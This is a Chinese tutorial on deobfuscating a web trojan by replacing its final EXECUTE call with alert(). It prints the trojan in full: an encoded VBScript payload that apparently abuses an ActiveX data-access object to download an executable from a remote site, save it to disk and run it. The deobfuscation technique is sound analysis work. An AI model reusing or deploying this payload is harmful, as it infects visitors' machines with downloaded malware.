JS解密入门 最终变量劫持_javascript技巧

如下是一段网马

<script> <BR>Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,69,54,66,55,50,55,54,54,66,55,50,50,69,54,51,54,70,54,68,50,70,55,55,54,70,55,50,54,68,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,70,54,50,50,48,51,68,50,48,54,52,54,70,54,51,55,53,54,68,54,53,54,69,55,52,50,69,54,51,55,50,54,53,54,49,55,52,54,53,52,53,54,67,54,53,54,68,54,53,54,69,55,52,50,56,50,50,54,70,54,50,50,50,50,54,50,50,54,65,54,53,50,50,50,54,50,50,54,51,50,50,50,54,50,50,55,52,50,50,50,57,48,68,48,65,52,70,54,50,50,69,53,51,54,53,55,52,52,49,55,52,55,52,55,50,54,57,54,50,55,53,55,52,54,53,50,48,50,50,54,51,54,67,54,49,50,50,50,54,50,50,55,51,55,51,54,57,54,52,50,50,50,67,50,48,50,50,54,51,50,50,50,54,50,50,54,67,55,51,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,52,51,65,52,50,52,52,51,57,50,50,50,54,50,50,51,54,52,51,51,53,51,53,50,50,50,54,50,50,51,54,50,68,51,54,51,53,50,50,50,54,50,50,52,49,51,51,50,68,51,49,51,49,52,52,51,48,50,50,50,54,50,50,50,68,51,57,51,56,51,51,52,49,50,68,51,48,51,48,52,51,50,50,50,54,50,50,51,48,51,52,52,54,52,51,51,50,51,57,50,50,50,54,50,50,52,53,51,51,51,54,50,50,48,68,48,65,55,51,52,56,53,52,53,52,53,48,51,68,50,50,52,68,50,50,50,54,50,50,54,57,54,51,50,50,50,54,50,50,55,50,54,70,50,50,50,54,50,50,55,51,50,50,50,54,50,50,54,70,54,54,50,50,50,54,50,50,55,52,50,50,50,54,50,50,50,69,53,56,50,50,50,54,50,50,52,68,50,50,50,54,50,50,52,67,50,50,50,54,50,50,52,56,50,50,50,54,50,50,53,52,53,52,50,50,50,54,50,50,53,48,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,48,54,70,55,48,50,48,51,68,50,48,52,70,54,50,50,69,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,52,56,53,52,53,52,53,48,50,67,50,50,50,50,50,57,48,68,48,65,53,48,54,70,55,48,50,69,52,70,55,48,54,53,54,69,50,48,50,50,52,55,50,50,50,54,50,50,52,53,53,52,50,50,50,67,50,48,52,51,54,69,52,67,53,50,53,53,50,67,50,48,52,54,54,49,54,67,55,51,54,53,48,68,48,65,53,48,54,70,55,48,50,69,53,51,54,53,54,69,54,52,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,55,54,54,50,55,51,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,54,53,48,52,57,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,53,51,54,51,55,50,54,57,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,52,54,57,54,69,54,55,50,69,52,54,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,67,54,53,50,50,50,54,50,50,53,51,55,57,50,50,50,54,50,50,55,51,55,52,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,68,52,70,50,50,50,54,50,50,54,50,54,65,54,53,50,50,50,54,50,50,54,51,55,52,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,51,54,53,55,52,50,48,55,51,53,52,54,68,55,48,50,48,51,68,50,48,52,54,53,48,52,57,50,69,52,55,54,53,55,52,53,51,55,48,54,53,54,51,54,57,54,49,54,67,52,54,54,70,54,67,54,52,54,53,55,50,50,56,51,50,50,57,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,57,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,57,48,68,48,65,52,49,52,49,51,68,50,50,52,49,50,50,50,54,50,50,54,52,50,50,48,68,48,65,52,49,52,50,51,68,50,50,54,70,50,50,50,54,50,50,54,52,50,50,50,54,50,50,54,50,50,50,50,54,50,50,50,69,50,50,50,54,50,50,55,51,50,50,50,54,50,50,55,52,55,50,54,53,50,50,50,54,50,50,54,49,54,68,50,50,48,68,48,65,52,49,54,52,52,68,51,68,52,49,52,49,50,54,52,49,52,50,48,68,48,65,53,51,54,53,55,52,50,48,52,50,54,52,54,49,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,52,49,54,52,52,68,50,67,50,50,50,50,50,57,48,68,48,65,52,50,54,52,54,49,50,69,55,52,55,57,55,48,54,53,51,68,51,49,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,50,48,53,48,54,70,55,48,50,69,53,50,54,53,55,51,55,48,54,70,54,69,55,51,54,53,52,50,54,70,54,52,55,57,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,52,50,54,52,54,49,50,69,53,52,55,57,55,48,54,53,51,68,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,53,52,54,53,55,56,55,52,50,48,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,50,50,53,55,55,51,54,51,55,50,54,57,55,48,55,52,50,69,53,51,54,56,54,53,54,67,54,67,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,56,54,53,54,67,54,67,50,69,53,50,55,53,54,69,50,48,50,56,50,50,50,50,50,50,50,54,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,54,50,50,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,69,54,70,55,52,54,56,54,57,54,69,54,55,50,50,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,55,51,53,50,55,53,54,69,51,68,50,50,53,51,50,50,50,54,50,50,54,56,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,67,50,50,50,54,50,50,50,69,50,50,50,54,50,50,52,49,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,48,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,57,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,50,55,53,54,69,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,53,50,55,53,54,69,50,54,50,50,54,51,54,49,55,52,54,57,54,70,54,69,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,50,55,53,54,69,50,69,53,51,54,56,54,53,54,67,54,67,52,53,55,56,54,53,54,51,55,53,55,52,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,50,50,50,50,50,67,50,50,50,50,50,67,50,50,52,70,55,48,54,53,54,69,50,50,50,67,51,48,34,58,68,61,34,69,88,69,67,85,84,69,32,34,34,34,34,34,58,67,61,34,38,67,72,82,40,38,72,34,58,78,61,34,41,34,58,68,79,32,87,72,73,76,69,32,76,69,78,40,83,41,62,49,58,73,70,32,73,83,78,85,77,69,82,73,67,40,76,69,70,84,40,83,44,49,41,41,32,84,72,69,78,32,68,61,68,38,67,38,76,69,70,84,40,83,44,50,41,38,78,58,83,61,77,73,68,40,83,44,51,41,32,69,76,83,69,32,68,61,68,38,67,38,76,69,70,84,40,83,44,52,41,38,78,58,83,61,77,73,68,40,83,44,53,41,13,10,76,79,79,80,58,69,88,69,67,85,84,69,32,68" <br><br>'以下是处理的函数 <BR>Function Rechange(Q) <BR>S=Split(Q,",") <BR>Cn922="" <BR>For i = 0 To UBound(S) <BR>Cn922=Cn922&Chr(eval(S(i))) <BR>Next <BR>Rechange=Cn922 <BR>End Function <br><br>'执行这个代码 <BR>EXECUTE(Rechange(Cn911)) <BR></script>

看到我的前几篇文章的朋友应该知道，前面的是10进制，直觉解就行了，不过下面有个处理函数，你用10进制解密出来之后还要去分析函数的功能，很不合算。Rechange这个是处理函数，这个函数的功能我们不知道，不要紧，我们看到最后这里有个EXECUTE()，说明这个就是执行函数，执行的内容是 Rechange(Cn911)，我们把EXECUTE改为alert()就行了，也就是把最后一行改为alert(Rechange(Cn911))。

劫持完毕，打开网页，解密的内容弹出来了。

学习要点：对于这种网马，最后一定会有一个最终的变量或是表达式，修改执行函数即可